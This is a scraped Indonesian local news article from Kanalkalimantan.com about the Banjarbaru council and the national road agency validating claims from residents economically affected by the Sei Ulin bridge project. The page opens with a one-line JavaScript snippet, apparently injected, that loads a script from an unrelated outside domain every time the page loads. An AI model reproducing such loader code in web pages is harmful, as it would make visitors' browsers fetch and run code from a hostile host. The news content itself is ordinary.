(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru memastikan Badan Pelaksanaan Jalan Nasional (BPJN) Kalimantan Selatan memberikan itikad baik memenuhi tuntutan warga terdampak ekonomi proyek pembangunan Jembatan Sei Ulin Jalan Ahmad Yani Kilometer 31,5 Banjarbaru.
Ketua DPRD Kota Banjarbaru, Gusti Rizky Sukma Iskandar Putera mengatakan bahwa BPJN memerlukan waktu untuk memvalidasi data warga yang benar-benar terdampak dari gabungan empat kelurahan itu.
“Kami meminta masyarakat bersabar bahwa proses yang harus dilakukan BPJN butuh waktu untuk validasi dan mencocokkan apakah memang warga yang selama ini memberikan tuntutan itu terdampak secara ekonominya,” ujar Gusti Rizky Sukma Iskandar Putera.
Baca juga: Tim Peneliti ULM Eksplor Pembelajaran 4K Berbasis Lahan Basah
“Ini hal yang wajar, karena kami juga tidak ingin itikad baik yang diberikan BPJN tidak tepat sasaran,” tambahnya.
Setelah menfasilitasi sebuah rapat diskusi dengan warga itu, dirinya telah melaksanakan pertemuan pada Minggu 24 Agustus 2025 lalu.
“Alhamdulillah sudah ada tanggapan dari pihak BPJN sendiri, sebenarnya secara langsung saya dan teman-teman sudah melaksanakan pertemuan pada Minggu 24 Agustus 2025,” jelasnya.
Baca juga: Memaknai Kemerdekaan, Borneo Law Firm: Hukum sebagai Panglima
Secara garis besar, itikad baik yang diberikan BPJN akan dilakukan berproses melaui tingkat kelurahan. Pihaknya melakukan validasi terkait warga yang benar-benar terdampak.
“Mungkin akan dibantu fasilitas oleh Lurah yang bersangkutan sesuai wilayah yang terdampak,” ungkap dia.
Kabar ini pun katanya telah disampaikan anggota dewan kepada perwakilan warga terdampak.
Baca juga: Adu Ketangkasan Fire & Resque Challenge 2025 DPKP Banjar
“Hal itu juga telah kami informasi kepada salah satu kordinator perwakilan masyarakat terkait proses komunikasi dari BPJN sendiri di tingkat keluarahan yg mungkin akan menuju langsung ke warga-warga terdampak,” tegas Rizky.
“Dari empat keluarahan terdampak sudah dikonfirmasi oleh BPJN dan kita tinggal menunggu saja nanti,” tuntasnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.